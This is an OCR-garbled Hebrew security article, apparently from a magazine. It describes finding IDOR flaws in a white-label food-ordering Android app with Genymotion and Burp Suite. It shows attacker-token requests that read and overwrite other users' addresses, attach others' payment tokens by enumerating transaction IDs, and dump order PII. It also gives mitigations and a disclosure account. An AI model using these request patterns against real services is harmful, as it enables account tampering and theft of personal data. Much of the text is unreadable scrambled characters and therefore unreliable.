"M'MNN 0712 IDOR NX'¥NY? 'wyn "1 Tn

212 'Y'AX KN

aNTN

nIY2IN 2w 71¥1 - 0'2OM 0'W'NON DAYATA ANY DN NIYRIOXRT NXNID 7Y DAYIN D'WIRWD)
Broken 7w 0O%1ya NIND7 ,NIN'YNAN .NTIAY 7¢ D'WTIN ,NIAONIM NIRROVI 0NN 017 ,0day
NYPA NN7WYW ANUNN DX 772 X7 VIYD MWD D'Y97 ONIF N2N NARTAL NXIl ,Access Control

A7 -1y
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Android 11b7INX - Genymotion
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- 107 NY'NAA Nivmal ,'opinog nman? nn wnn ANt 010 0Wixa y'¥n Genymotion ,Studio



Technologic

[1'2 .N19X¥IM NNIAYN NIRYYI Burp Certificate 1'7v 'pnin? n'on' 77 ,90112 .q0nn neXi72imi Android
DY "7RI0TT 'Y DNINEY,NIPNNN TNKRYT . MYUIN INRNN 'YK WIN'Y'? D1'N2 Genymotion NX TINY
IP-0 NAIND DX V'WINN 7Y NWIN NINTANA D' TANI, NZTAN NX?'79X7 nn'kNnw Android NoNa

:(8080 :Burp Suite-2 7Thn N12) Proxy-n VIS NXI NIXAN AWNNN 79

&  Genymotion Emulator * ¥ 0 C ¢ @O & W Q = 8 Tue2un 106
@ @ clean-genymotion (570x1230, 220dpi) - 127.0.0.1:6555 - Geny.
Dashboard Target  Proxy  Intuder  Repeater Collaborator  Sequencer  Decoder  Comparer  Logger @ >. (& [ERLLLRS w40
Organizer  Extensions  Discover  Hackvertor  Bypass WAF
Intercept HTTP history WebSockets history Match and replace {& Proxy settings
'V Filter settings: Hiding CSS and image content; hiding specific extensions Pro version only Q @ Fiteron @
# Host Method URL Params Edited Status cor
13 hitp://www.google.com GET  /gen_204 204
12 http://connectivitycheck.gstatic.com GET  /generate_204 204
1 https://ahbpgv.attr.appsflyersdk.com POST  /apiv6.17/androidevent?app_id= . v 200
10 https://ahbpgv.inapps.appsflyersdk.com POST  /apiA6.17/androidevent?app_id= v 200
9 https://ahbpgv. pia.appsfiyersdk.com POST  /apiA1.0/pia-android-event?app, - _ v 200
5 e et mici = —r——t
7
: Search Q Tools > Proxy Manage giobal settings
4 -
3 n User: Project = = () Proxy listeners
2
{8} Burp Proxy uses listeners o receive incoming HTTP requests from your browser. You will nee
~ Tools
Proxy Add Running  Interface Invisible  Redirect
Intruder Edit 127.0.0.1:8080
*:8082 v
Repeater Remove
Sequencer
Comparer
Burp's browser
> Project Each installation of Burp generates its own CA certificate that Proxy listeners can use when n
installation of Burp.
Sessions
5N et Import / export CA certificate Regenerate CA certificate
> User interface
> Suite (3 Request interception rules
A {8} Use these settings to control which requests are stalled for viewing and editing in the Intercey
> Extensions Intercept requests based on the following rules: Master interception is tumed off
Add 1l h i
{6 Configuration fbrary Enabled  Operator  Match type Relationship
Edit File extension Does not match
or Request Contains parameters - =
Eventlog ()* Al issues © Memory: 181.9M8 of 12.00G8 * Disabled v Yrree for p&sonal use ™

NNLAX N7'TAY7 'OpPIND - Burp Suite

PortSwigger nan T 7u X' XIn .Mobile Security-1 Web 071y 7w 't>nn "72n XIn Burp Suite
-N NOMA .NNX N HTTP NI NI |INQY7,00M7 AWORNIL,NIYYT 1'wONN |2 AWI'Y Proxy-d 7V19I

IR TAn aN? np'oonl 'uI7n? n'Mr'n Community

.Trusted CA-3 N107mMKXN 7y IMIX 'PNNY71 17w CA Certificate-n NN Xx"7 W' ,Burp Suite N7y5n WNNY
1M wnnwnn T 7Y npnin Certificates 7y NidNIo X7 niryp'729x ,n'7uni Android 7 NiXoNaa
oy Magisk-2 win'w ,nx¥p*7o8n 7w Network Security Config-n '12'w T 2y NXT QIpy? N1 77NN

.0" 0N SSL Pinning No'7v7 Frida-2 win'w IX,(root-n '7'9 1'win?) MagiskTrustUserCerts 21Tinn

HTTPS
request

Device Burp Suite Proxy Server
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D''YDN "YW NAfa0l Scope-n NNTan

:D''YIN YA MYUNANWN QPN [IAWNT RINN [I2WN NRIAYN W NINSY NwNIT IDOR Njp'1a
Proxy-2 0TaIn Burp Suite DY Genymotion MI07MK :qINA Y'WUIN e

.19 1awn 0y (Android 1'won) rooted 'T'9 1970 QIR WON e

WY1 207 'O 17w D' 1'ITn-NN 721 redacted.com NX 71 71727 Scope-n NX 'MATAN ,Burp Suite-2

.(MnIm1 CDN ,Cloudinary) D" INX D'NIN'Y ¥ NIYpan NI

[ ] [ ] Add prefix for in-scope URLs

@ Specify a prefix for URLs you want to match.

Prefix: [

.com ]

Include subdomains

Paste URL OK Cancel

N'¥2'79x7 NO'1D - [NIAN NN

2V NooIan N'N 7NW NI NPXPIOX 1ND IR 0NN DNYY R NPT DYPYORN
D¥ MY AT Burp Suite DY NY¥Y79RN DX 'MMNNSOW) 'WHW-TX 790 7w 1ix'n Backend

790N 7¥ API-n MW7 nNay NIRNpn

-] NWZA 702 YW (7100 - NI NIX? (JSON Web Token) JWT-2 nwnnwn n'xp 7980w "Mt
DINN NMYNY X'N,NXNIY '9D ,D'WAN .|'PN DX 720 [XD TV .Authorization: Bearer a10n Header

J17W DAINWUNY 77 WA UNNWNNY KTIN 1'K 72X - 97N [7I0NY NNRN

Dasboard  Target  Prowy  Imnuder  Repeater  Colaboralor  Sequencer  Decoder  Comparer  Logger  Organizer  Extensions  Discover haL @ . @

Hackverior  Auorize  Brda

Wercspt  HTTPhsty  WebSocketshistry  Matchandroplace | (@ Prowy semings
7 Fitter setings: Hiding €SS and imaga conlent; hiing specific extensions Pro version orly Q @ Fiteron @ §
*r Host Method URL Params Edited Status code Length MIME ty... Extension Title
134 https://anitagsiato.nelpcrunch.com GET Japive/ping 200 650 app
13 hitps:ies.cloudinary.com GET  dapqDluncividealuploadlc.fil{_auto,g_canterh_32.q_auiore... 20 767122 video  mpd
12 inary GET  /dapaOiuncividea flf_autog_centern 332.9_autore. 200 767122 videa  mpa
131 o GET __JdapaOlunchvidea fillf_auto,g_center,h 332.q_autore. 200 767122 videa  mpd
130 POST L 200 1665 JSON
129 = POST /oansu forderPrice 7 20 1665 JSON
128 & GeT filf_auto,g_centerh 2.9 autore... 200 767122 video  mp4
127 o POST v 200 10089 JSON
126 POST v 200 175 JSON
25 hiipsap com PoST s v 200 175 JSON
124 hups:/ires. cloudinary com GET J/dapaOiunc/video/upload/c_fill,f_auto,g_centenh_332,q_autoe. 200 767173 video mpa
123 hiipsiiapi com POST Jconsumer/apifbusinss v 200 277450 JSON
C= =  Inspector W I<X g
® B " = Request amibutes 2 v @
e =
Request headers u v
Response headers 5 v

SN @
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nimd 7y IDOR - 'X 77N

?IDOR nT Nn

IWXD WNINN KIn .Broken Access Control 7w 110 Xin (Insecure Direct Object Reference) IDOR
V2 PN Upann wnnwnnw XTI7 220 ,NIE7nn N7wWiY Nt Jno 7y ARwNY Ny IWOKN NIY

JNNKR DT NTNNN P IR LUUID 'MTo 1901 NI 710 nntan .nTh Akwn? nwa? nivan

nAYIINN '1'7"A

2 NNKN] nnviv NYpan .nn''y Naind 'ndI n'xp"nmn NNMYN NIAIMIN ITX? Mol

PUT /consumer/api/account/addresses/6a02b23a66517d51e9e10f39 HTTP/1.1
Host: api.REDACTED.com

Authorization: Bearer <attacker_ token

23170 NN Naa

NN NX N9YNY - Q1IN T¥n POST-N NaIwn NX 'No1! 7Y Y'wON NWTN NAImD Y AN

.NXNY NAIMdN

Request Response Q==

Pretty Raw Hex Hackvertor Ny \n = Pretty Raw Hex Render Hackvertor QE n =

fconsumer/api/account/addresses HTTP/1.1

TiPMix=

{

9ad7a8b8a8445

1tbGRz
eyJ1lbml

by
"default":false
)

CQORGNzcxNDhFNEMifQ.mXOpw25e6cDMbDoOtsrrE12z0F0oIgkOf

‘1272 qpInn W JWT-n oy ,qpInn 1Aawnn GET request 'NN7w ,nTh nntan oy

GET /consumer/api/account/addresses/6a08e946f03db38dc368b8ba HTTP/1.1
Host: api.REDACTED.com

Authorization: Bearer <attacker_token
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GPS ,ma "90n AN 'YW - Q1IN 7¢ DXMN namdn ‘01 oy HTTP 200 't NIWN

JI72Y2 NP'TA 'R ,NRWIN NIRAY 'K .coordinates

Request Response

Pretty Raw Hex Hackvertor N \n = Pretty Raw Hex Render Hackvertor
GET /consumer/api/faccount/addresses/6a08e946£03db38dc368b8ba HTTP/1.1 HTTP/1.1 200 OK
Host: api. .com 2 Content-Length: 227

Cookie: ARRAffini Content-Type: application/ ; charset=utf-8
61d113 8d0dc2cbele Date: Sat, 16 May 2026 2

34£92611 3
AffinitySameSite= Server: Micros

c 1d 48870; x-ms-routing-name X-Powered-By: A NET
Accept: { ‘
X-Api-Key:
X-App-Platform: android "tag 5
X-App-Version: "name":null,

8 | X-Api-Deviceid: 58e29f0ccfb3748bd213b0da24d84alelSaae03daed4fb929%af7e27c8a68663C "lastname":null,
Authorization: bearer 3

hbGci0id w0i8vd3diLnczLlmSy2y8yMDAXLzAOL3htbGRzaNctbWIy2SNobWE I LXNoYTIINIIsInR

yJ1bmlxdAVEbmE

"default":false

Tk2RDACQORGNZzcXNDhFNEMifQ.YSMx4t60thgUSPWFE3VIsiZ22-EigNY3k0CsujBIlIvGo }
Cache~ trol: no-cache

Content~Type: application/json

Content-Length: 187

Accept-Encoding: gzip, deflate, br

User-Agent: okhttp/4.12.0

[0 NN 'Y

address_notes NTY .'NU'7w2 DN DY QN NAMD NOoNT? PUT 'MMn7wi nn'Tp 27w 'Nay
'TNN MYN .NWAYN-TN 2'NN NNATAY 1O DNO - "Give me all of your ice cream”-7 7 TaIn

.HTTP 200

Request

Pretty Raw Hex Hackvertor 0 Render Hackvertor

PUT /consumer/api/account/addreases/6a02b23a66517d51e9e¢10£39 BTTP/1.1

Ho api.

cfb3748bd213b0da24d84alel%aae03danddfbi2%af7e27cBabBE62C

idiLnczLlm® DAXLzAOL3ht
x¢

sRzancthW

“default":false

6othgUIPWFEIVHS122-E1gNYIkOCsuiBl1vGo

meitynin R -,
“address":"25 , u ",

wnnwnn ."The attacker city, The attacker house"-7 *T'm |9IX2 NNINWN NAIMDN L2170 1'WON

.NONN DY 727 X7
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qQIONY? IN ,NIINTN WAYWY? ,INL'7w1AY NAIMDY7 QIR 79 Ni7un NRon? 210 qpin ,N'wyn n1'Nan

J'o17N7 VPY DIXA D'YNNYN 7Y N NIAInd

MINY 7Mamro

0 The attacker city, The attacker house

'NIWN 0'VYD Na1A - 2 N

NKRNAN 7Y TN KYNNn INT

Tokenization-n 7'7an TaI1Y TXD

Payment NN'W XIN D700 NN'W URIWUK D700 D700 NN'W-1 NUNNWUN XY 798N
0'01) 'Y NN NNIY NI'X NY¥P'79XN - Tokenization NN'W NN 2 ,790NN "7XW' Processing
.0'0TDN NIX AX"NN (N'9'7NN 'IN'T NTNNNA) |71V N7 KR NN 'RIURD

NN NTIAYN DT

NP0 NNYY NN'WY 0'0T0N 09 NIX NNTIY DNP'7ORN e

.token-I transaction_id 2'TnI 0'01DN DX MIY NP70N NN'YY e

AUN? 0'0dN NX "WY7 1) api.redacted.com-7 transaction_id-n NX NN7IY N'¥j7'798N

190N 'MW van X7 X' 0'010N 190N - token-2 NIWNNWA NIFTNY NIWDY

@ 0070 In]

131 1'1n

% T

nawn

ik AN

R i
|F|U ﬁlnn (PCIE = WV AT MrUeTY)

O "

00737 ImA [

-
o

U0 MY Neo3

NN NMIVRODAXIT AMIN v
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MNTON Transaction ID-n

X7 .MT0 D7 190N - transaction_id NaIwNA A'TNN NR'70N NN'Y ,0'01) 9'0IN WNNWNAWD

.0'10n transaction_id 'M72'p ,0'01) 'MO0INW) .07W 1901 .*KIPR W X7 ,UUID

Request Response

Hex Hackvertor Render Hackvertor

= Pretty

Date
Server: Apache

ajax_process_transaction HTTP/

Jan 2014 00:00:00

no-cache,

Accept: applicat NNYN €T(7 11 0) RT(

X-Requested-With:

n
ittpReq
(Linu Android 12;
ML, like Gecko

08; wv)
4 Mobile

:null,
ction_response":|{

Vers

"success":
null,
or_response_code": " 000

ion/x-www-form-urlencoded

ranzila.com

Referer:
https
Accept-Encoding: gzip
Accept-Language: en-US,en;g=

"expiry_ year"
"user_form data":{
"response_language":"Hebrew",

card_holder_id
widt

pleWebKi

Mobile+S &b_language=en

allments_number":null

)y
"response_hash":"321

0.

1AwN? 0'VIdN NX "'W7 1D 790n-7 N7WI NN transaction_id-n

POST /consumer/api/account/cards HTTP/1.1
Host: api.REDACTED.com
Authorization: Bearer <attacker_token

{"token": "N"}

AUN? IMIX "I Mwnn token-n IR NR™0N NN 78R w9'N transaction_id-n DX 727 nwn
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Request Response
Pretty Raw Hex Hackvertor QE \n = Pretty Raw Hex Render Hackvertor

unt/cards HTTP/1.1

'TP/1.1 200 OK

; charset=utf-8

GMT

"id":"6al8¢ 8b8
"cardMas
"cardholde

"token":"1

7> 'nonn awn? MUY ap'7on NN'Y-N NPOY DR PTA X7 NYA .DNIWNY nn pirTa
jAwn 17w 0'01dN 7w token-n NN 2N - NYXPYON 701 wnnwn 70 9w - qpn transaction_id

ANK DTR 7Y ANKR DX 7W 0'0ND1L,17W 17 10'00D 0'0'0D W NYD A'¥N 7NN

) Genymotion_Emulator (570x1230, 220dpi) - 127.0.0.1:6555 - Genymotion

DI7WITWXNNX

02044 @ |00
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212 0'VdA NINTA - 71X NNDIN

IKAYNX 0'0) 9'0IN DIPN (TR XN 'N11A X7 - "DIR™ MYy Mun'y nnaTin X7 :nnan)
JNN7YW ,qPINN 1'woNn NK D'IoN transaction_id 17 nxpn np'700 NN'W L19YW 1'wON MmN

POST /consumer/api/account/cards HTTP/1.1
Host: api.REDACTED.com
Authorization: Bearer <attacker_ token

{"token": "N+1"}

A'N 2A1EA,NN2Y NIATAN - 212aNn 0'0ND] NINTN 'NYX 71NN [1AYN] Y'DIN 27N 0'0D

o17en7

nam>
132 1maonin 1T

O IRT

14:3017 'R 2910

MENT 7700

Free for personal use

"sale_amount™:0,
"payment_data":"SaTl i

"user_token":

{ 1¥WR1ciléliovKilsIndpbmRvdlSzaXplljoiMDQif( g8
"card_expiry":

)
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PIl Dump-1 nianta 27y IDOR - 'a 7'7n

(OI9T INIXR MNX NPV NIINTN v NXpPZn NTLAY 2% 'mnw ,NanTan VI Nx?

GET /consumer/api/account/orders/<order_id> HTTP/1.1

Host: api.REDACTED.com
Authorization: Bearer <attacker token

:NOWN N'NL,NINTAN PINT7 12YN JWIR VTN 7W 0717 DD XD N2IYNN
NPT R MIMIX'Mm oY e

.E.164 UNI92I M71A 1970 190N

.GPS NILYITIRIP DY NI7YN NAIND e

.0"'nNni Nifmd ,0'0N ,CartID o

.NINTNAN DI7YUNT7 UN'WY |710N - payment_token e

IAawUNn 7V NOXT-RLNI Loyalty level o

.(Lateral Movement) aniN? nyin%? n"win'vy - Depot ID-1 Business ID o

Request Response ==

Il

Pretty Raw Hex Hackvertor 1 I \n = Pretty Raw Hex Render Hackvertor & B \n

/orders/6a08£349£03db38dc368b8cd HTTP/1.1 HTTP/1.1 200 OK

"language":"he"

“"final delivery price":0.0,

277N 7Y R'M N7 T 'o0n NOYIN NNX YR .NIAnd 7y IDOR-n NP nimn n9'wn It
1D ,7T12 ATO2 DI7WN 710 QIOK7 710" QPIN - 'KIWKN 0'01D N2MA DY 2I7'wa 1" NM19Y7I
NN NXP DT NNIR 7Y PUT .nwD1Y wn'ww payment_token-n NX n7'dn order-n NiIWnNw

JINKX NT2 NINTA 'YW NIYODNKRNI, D DA NAIN
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NNX N¥P'79X X7 AT - 2'71ITA0 MInnn

.MN2%7 ANXR 11907 NT DK 191NV 77NN Y'1an 1'UDY .NNK N'¥7*798] NIYYIN NN KD TV

NNWYI D'POY NIXA Mwnn 78 White-Label 790 T 7y 79100 n'¥7'79xn 7w Backend-n

Qi arm

< Ask Gemini

STANDALONE PLATFORM

A to Z Online Ordering
Solution Y

< o

A standalone white-labeled platform with web and mobile apps, back-

ent, and built-in loyalty. Your
>m under your brand — with APls h

available for deeper integration into your existing workflows Neapolitan Pizza

office dashboard, menu manage

merchants get a full ordering sys

v Branded web, mobile and kiosk ordering apps Add Ons
A i o ¥ Fresh Basil “£1.00 2
+ Advanced menu with modifiers, add-ons & discounts

Shiced

v w000 - 1
c s Mushrooms
v Fully-functioning back-office
Itakian Sausage €200
v Multi-location support Neaolta e £1200

v Live order tracking for customers

=
« Integration APIs for POS & third-party systems g

Book a Call

nnx n'xp"mx MpPT2 .QNIYN D1IN1 0'0Q INIX-I1 ,API INIR ,TI INIX 2V o' n7RN D2Anmn ‘D

JMNYIRI - 790 INIK 7V NOOIANY

.0'nT endpoints-n 70 e

.Tenant Isolation |'N - NI'¥P'79XN 707 QNIYN DININ 0'0 @
J'017N7 ANX ANIN 7Y D'YNNYUN 1IN 7 T XPYIOKRN W IWT e

NN'YI V'DINY POY 7D .790N 7Y DUO'OIPRN NN 7D KIN - NNX N¥7'79X 11'K N9'PNN NVWN

A7¥ D'yNnYNN 7Y NI9pNNN NIRT qIuN - 790N 7¢ NINE7N

MMy 07151 IDOR NN'¥NY? 'wyn 111N
www.DigitalWhisper.co.il
11 2026 "anan ,191 '




Technologic

Authorization "72 Authentication - ninn

INIX DY 11'K X ,(Mainn 1w = qpn JWT) ynnunn DX NTARN DIYN S TAR KD 7W00 vy
.(?nmrn/o'v1d/Namdn a7 1w Atn JWT-n DRN) URIann aRwUnNn 7in

ANN NNIR ITR? T2 X7 IR - 9PN D00 AN 17 W'Y 7T 'A% N0'D1 NIY NNAITA NINT W'Nn
9T NN L,np' nn 7001 nnip 720 ,9n an 75 .10 TWKN

D'UTN endpoints D'9'0IN D'NNSAN UKD ,0A7W1 1MW APIs-2 TNIMA nXIgl IT 7wd N1aan
N7 ,Token 7w nindin 7 PTIa Middleware-n X - NIRWNNL 790" D7 Middleware-w n'ntnl
ANYNN 7V Niwa

VTI'Y My NNIN 901 "110P0DIX WD DA A'¥n ('MITO transaction_id) NI '0Mpn XxNAn
X7 NntANW 7> 2V NIdNNOoN - Security through Obscurity .nj7ovn NX yx'a NdnA transaction_id

LNNTO 190N XIN NNTANW)D 'XTIA ,ﬂ'l|7'7 nan X'n - yim

[PN? TX - Mitigations

7v owner_id-n NX NIWNYT N2"'N ARWN 7 NN n7'onw nwpa 7D iendpoint 7122 niva nprma
-N N1OWA 1 X7 ,Business Logic-n N1dWA y¥aNn? X N1 JWT-nn n¥Inw user_id-7 axwnn

.Authentication

N1OYW N7 .Authentication Middleware-a ponon? X7 :rTiyn Authorization Middleware

.Token 7w NiNd1 71 K71, NI7V2 NPT WRIANN AXWAN NIX DA N727NnY NIRYAN

7N TIT7 Amr X7 X nept7ox w JWT ,poon md Multi-Tenant ninnisv'792 :Tenant Isolation
Tenant-nW XTII? endpoint 7271 ,Tenant-n 7w Claim 21707 2*n JWT 72 .Y n¥'79x% 7w D12In)

.OXIN

NN'Y 7m XTI7 MY 72900 L[IAWN? 0'0YD I'w 19Y ransaction_idT "¢ ownership nin'x
NAIYN-D 2 7'N'RD NAND DRIWN YT 7Y 7007 .wnnun INIRY? "' transaction_id-nw njp''70n

Jaunn mae np'2on NN
XOoN X7 N7 .0"KpPX UUIDs-a (transaction_id M) D*N1TO D'ATA 9'7nnY% :D"NKIpPX D'ATN

WIN 72V NMIYAYN NWPNn X NINYIN N7 T YTV
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NN2NA NAANI NINY '1'7°A

ONOULNII ,[*T{72"7 - D'¥YNY 190N N'RINXD NNANN DY WP XY Mo ,0'R¥NNN '17'A WNKY7
D700 YNV 70 ,NO0T TIX7 'MI9 ,NNI'0Y W DUYTIND JNXK7 .Nyn 'M7ayp X721 - Nl
NN 'MYP Al ,NYRYN 120N NP NI07an nimTh Nnxi(0tn 35,000 7yn) "avo niwTn”
Y DDA DR D727 NNANNY 1anont - 7"1nn R NNy 19 TR LNNFTR NNAYN INNTY

DITVY? NRIDINEYNNN MyAN Y TIRT DTN 90N N07Nim Nimyna 1 N ,NN2ol

e Erez Dasa @ - 9:44 AM
5"31n aNDLNA NYTIN NNYY

@, Avishai Gonen @ - 9:56 AM

* NN PN ..ANDLND ,WTIN 18Y% 122 A DN My

e Erez Dasa @ - 9:57 AM
127DN MYTN Y1y NN YTNAY I "NYY DN 1NN 1IN

SIKIN MY N2 NN DY 92m nr 2771 .01abea

e Erez Dasa @ - 10:02 AM
NAaY M N RAN 25wn

e Erez Dasa @ - 10:44 AM
7112 13Y% D1 1710 A NYTR NN MY NN

(Edited) .mwaw

CTO-n 51m X XK1N YN

DI]I'\PU'? ONXNN2 DONIDN NN VTNNY 70 ,ANKXNN DIONS 197 1271N niwlinn - nTn 'Y N1'Nan

.Responsible Disclosure-n

D DMIX'N D'MIA QW21 D'YTIN JYN2 NNaNn DR 9ImM7 Y "Mty oNan N Nnfa
7Y NO'WN VI TYY DY NN 70 .0 NIoN' NN M7 X7 TR DALLY70INYT v nirTne

JNIWK 00D N7 W'Y DMY'R 0'0ID ,NIAIMD

NI'NITX NIYAAN? NNann DX qIvN? 217 2'n DD YNR ,D'UNNYNY NNYONN NY'a97 1avn
TINVAN NIPN7I NI'VI9N NAAN 7IN7 DXNND NN 2 ,NI'0I9N NAANT NIWIN TYN N9DX D707

.NNXV NN2NY? DAl D'YNNWYNY DA 'MIvAYN 212 yinY 'M'0 ,02T 7w 19102 .78 w1 yT'nn

MMy 07151 IDOR NN'¥NY? 'wyn 111N
www.DigitalWhisper.co.il
13 2026 "anan ,191 '




Technologic

nid'o

DV NTAY N0 Mngnn - 7Uam NUYpPYOX Np'Ta 7w Xn 'an Y mnay i kN2

.IDOR-I Broken Access Control Nniw7in 7w nwaw 711147 TVI ,Burp Suite-1 Genymotion
NAMDI RN IWONN - DARYN 7V NP2 Np'Ta 1TV - TR ‘100K W) T¥D 1R
NRIYNN X7 'YK YT 9771 ,'NMNTO transaction_id NIYXAN] 'RIWK '0'0ID 710 N1A ,NIAIND

it 7y IDOR

White-Label nnaIouowdy .7 nydwnn qp'n KR NTTIAN DY2IND NI N'TINN NTIRIN
21'7'01 D'POY NINN 7yn .0'WAa91 N7W NINR?A 7D ,Nao - DMl 0'oal APl LTI - N9NIWN

NYT7IN NNIXY D'OIYN D'UNNYN

- 72NN wnnwnw XTiI? .01W DNAT AW DN Authorization-1 Authentication :n't2>nn najgonn

ST ninyg? D'V7 NDWIYW TYXN DT - '9'¥D0N ARWNT7 NWA7 NWIIN KINW XTI JIYUKN TVXN AT

7annn 7y

DN DNOI Bug Bounty ,0'-CTF NIWYY7 2NIX 1290 12721 1270 2IN IR LAIA 'YX Y7 DRI
Pluto Security-2 'NTIAY [ATA 'MRXAY MY 72V D'NIvaw 0'-CVE 30-7 7un *7 ' .01101'K] D''RNXY
D-writeup DI ,"MRXAY NIYZINN DX 700 "¢ dNXK2 02N 9'WN7 DIATIA NIY2IN RN M

SN 7am a1 Y NiM1vnn P ' M'YYY DNANKY

https://avishaigonen123.github.io
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e OWASP Top 10 2021 - A01: Broken Access Control - https://owasp.org/Top10/A01 2021-

Broken Access Control

e  PortSwigger Web Security Academy - IDOR - https://portswigger.net/web-security/access-control/idor

e  Genymotion - Android Emulator - https://www.genymotion.com/

e  Burp Suite - PortSwigger - https://portswigger.net/burp

e  PortSwigger - Configuring an Android device to work with Burp Suite -

https://portswigger.net/burp/documentation/desktop/mobile/config-android-device

e The documentation of the transaction process at tranzila.com - https://tranzila.com/tokenization.html
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